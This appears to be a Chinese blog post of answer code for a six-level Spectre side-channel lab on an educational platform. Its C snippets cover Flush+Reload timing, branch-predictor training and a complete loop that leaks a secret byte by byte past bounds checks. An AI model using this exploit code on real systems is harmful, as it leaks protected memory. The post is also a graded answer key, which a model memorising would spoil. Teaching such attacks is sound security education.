当前位置: 首页 > 工具软件 > spectre > 使用案例 >

Spectre侧信道攻击过程验证【头歌教学实践平台】

蒋原
2023-12-01

第1关:Cache vs Memory

// 补全下方代码,完成array[0*4096]至array[9*4096]数据的缓存驱逐

  /**************************************************/

  for(i=0; i<10; i++) 

    _mm_clflush(&array[i*4096]);

  /**************************************************/

第2关:基于Flush+Reload的侧信道实现

/* 请去掉下面一行的注释,并将括号中的'THRESHOLD'替换为具体门限值,该门限值可以根据上一关中测得的缓存命中时延设定*/

#define CACHE_HIT_THRESHOLD (80)

// 驱逐缓存Cache,请在下方补充代码,将array[0*4096+DELTA]至array[255*4096+DELTA]等数据从缓存中强制驱逐

  /**************************************/

  for (i = 0; i < 256; i++) 

    _mm_clflush(&array[i*4096+DELTA]);

  /**************************************/

//请补全并下方代码,获得i*4096 + DELTA位置元素的访问时延,并将小于门限的访问行为判定为缓存命中,按照指定格式输出结果。

   for(i = 0; i < 256; i++){

   addr = &array[i*4096 + DELTA];

   time1 = __rdtscp(&junk);

   junk = *addr;

   time2 = __rdtscp(&junk) - time1;

   if (time2 <= CACHE_HIT_THRESHOLD){

    printf("访问array[%d4096 + %d]元素时发生缓存命中,时延%d.\n", i, DELTA, (int)time2);

    printf("秘密值Secret = %d(字符:'%c')。\n", i, i);

    fprintf(fp,"秘密值Secret = %d(字符:'%c')。\n" ,i, i);

   }

  } 

第3关:Spectre预测执行

/* 请去掉下面一行的注释,并将括号中的'THRESHOLD'替换为具体门限值,该门限值可以根据第一关中测得的缓存命中时延设定*/

#define CACHE_HIT_THRESHOLD (80)

 // 请补全下方代码并取消注释,①将victim()函数中分支判断需要的数据'size'从缓存中驱逐,以在后续调用中触发预测执行;②将array数组中i*4096+DELTA处的数据从缓存中驱逐,以便后续reload阶段判断目标数据是否被加载。

    // /*******************************************

    _mm_clflush(&size);

    for (i = 0; i < 256; i++)

        _mm_clflush(&array[i*4096+DELTA]); 

    // ********************************************/

第4关:Spectre攻击简单实验

/* 请去掉下面一行的注释,并将括号中的'THRESHOLD'替换为具体门限值,该门限值可以根据第一关中测得的缓存命中时延设定*/

#define CACHE_HIT_THRESHOLD (80)

 // 补全下方代码,将上界、下界以及array的数据从缓存中驱逐。

  /***********************************************************/

   //驱逐上界数据

   _mm_clflush(&bound_upper);

   //驱逐下界数据

    _mm_clflush(&bound_lower);

   //驱逐array中的数据

   for(i=0;i<256;i++){

     _mm_clflush(&array[i*4096+DELTA]);

   }

  /***********************************************************/

这一关可能会出现测评失败的现象,只需要多提交几次自测运行后再提交就可以了 

第5关:Spectre攻击实验改进 

/* 请去掉下面一行的注释,并将括号中的'THRESHOLD'替换为具体门限值,该门限值可以根据第一关中测得的缓存命中时延设定*/

#define CACHE_HIT_THRESHOLD (80)

//补全下方代码,当每次字符i被命中一次,对应的积分+1

  /*************************************/

  for (i = 0; i < 256; i++) {

    addr = &array[i * 4096 + DELTA];

    time1 = __rdtscp(&junk);

    junk = *addr;

    time2 = __rdtscp(&junk) - time1;

    if (time2 <= CACHE_HIT_THRESHOLD){

      scores[i]++; 

      }

  }

  /*************************************/

// 补全下方代码,从scores数组中找到最大值,并将其索引值赋值给max

  /*************************************/

  for(i=0;i<256;i++){

    if(scores[i]>scores[max]){

      max=i;

    }

  }

  /*************************************/

第6关:Spectre攻击窃取敏感信息实战 

/* 请去掉下面一行的注释,并将括号中的'THRESHOLD'替换为具体门限值,该门限值可以根据第一关中测得的缓存命中时延设定*/

#define CACHE_HIT_THRESHOLD (80)

//补全下方代码,初始化array数组,并将所有相关数据从缓存中驱逐

  /*************************************/

  int i;

  // 初始化数组,避免Copy-on-Write等优化机制对实验结果产生影响

  for (i = 0; i < 256; i++){

    array[i*4096 + DELTA] = 1;

  } 

  // 驱逐缓存

  for (i = 0; i < 256; i++){

    _mm_clflush(&array[i*4096 +DELTA]);

  

  /*************************************/

//补全下方代码,完成高速缓存侧信道的Reload步骤,根据缓存命中情况,更新score数组

  /*************************************/

  int i;

  volatile uint8_t *addr;

  register uint64_t time1, time2;

  int junk = 0;

  for (i = 0; i < 256; i++) {

    addr = &array[i * 4096 + DELTA];

    time1 = __rdtscp(&junk);

    junk = *addr;

    time2 = __rdtscp(&junk) - time1;

    if (time2 <= CACHE_HIT_THRESHOLD){

      scores[i]++; 

    }

  }

  

  /*************************************/

//补全下方代码,针对指定的内存位置,开展Spectre攻击,包括缓存清空、CPU训练、缓存驱逐、预测执行和缓存加载等环节

  /*************************************/

  int i;

  uint8_t s;

  volatile int z;

  for (i = 0; i < 256; i++)  {

     _mm_clflush(&array[i*4096 + DELTA]);

    }

  // 训练CPU,使其在攻击时进入期望的预测分支.

  for (i = 0; i < 10; i++) {

    get_info_sand_box(i);  

  }

  // 将上界、下界以及array的数据从缓存中驱逐。

  _mm_clflush(&bound_upper);

  _mm_clflush(&bound_lower); 

  for (i = 0; i < 256; i++)  {

         _mm_clflush(&array[i*4096 + DELTA]);

         }

  for (z = 0; z < 100; z++)  {  }

  

  // 调用沙箱访问函数,利用预测执行漏洞访问合法内存边界之外的秘密值

  s = get_info_sand_box(index_beyond);

  if(s!=0){

    array[s*4096 + DELTA] += 88;  

    }

  /*************************************/

//补全下方代码,针对敏感信息secret的每个字节,逐个进行提取,每个字节的提取操作执行1000次,并按照指定格式输出提取结果及其积分值(可以包括最优值与次优值,即score最大的值和第二大的值的索引)。

  //打印示例:printf("第%d个秘密字符的最优值 \'%c\' (ASCII: %d) 积分:[%d] ", k, (max > 31 && max < 127 ? max : '?'), max, scores[max]);

  /*************************************/

  int i;

  uint8_t s;

  fp=fopen("/home/result.txt","w");

  size_t index_beyond = get_addr_offset();

  flushSideChannel();

  int len = get_secret_len();

  int k = 0;

  while(--len>=0){

    for(i=0;i<256; i++) {

      scores[i]=0; 

    }

  for (i = 0; i < 1000; i++) {

    spectreAttack(index_beyond+k);

    usleep(10);

    reloadSideChannelImproved();

  }

  int max = 0; 

  int runner_up = 0; 

  for (i = 0; i < 256; i++){

    // printf("%d ", scores[i]);

    if(scores[max] < scores[i]) {

        max = i;

    }

  }

  for (i = 0; i < 256; i++){

    if(scores[runner_up] < scores[i] && i!=max) {

        runner_up = i;

    }

  }

  printf("第%d个秘密字符的最优值 '%c' (ASCII: %d) 积分:[%d] ", k, (max > 31 && max < 127 ? max : '?'), max, scores[max]);

    printf("次优值 '%c' (ASCII: %d) 积分:[%d]\n", (runner_up > 31 && runner_up < 127 ? runner_up : '?'),

 runner_up, scores[runner_up] );

fprintf(fp,"%c",(max > 31 && max < 127 ? max : '?'));

  

k++;

  

}

 /*************************************/

 类似资料: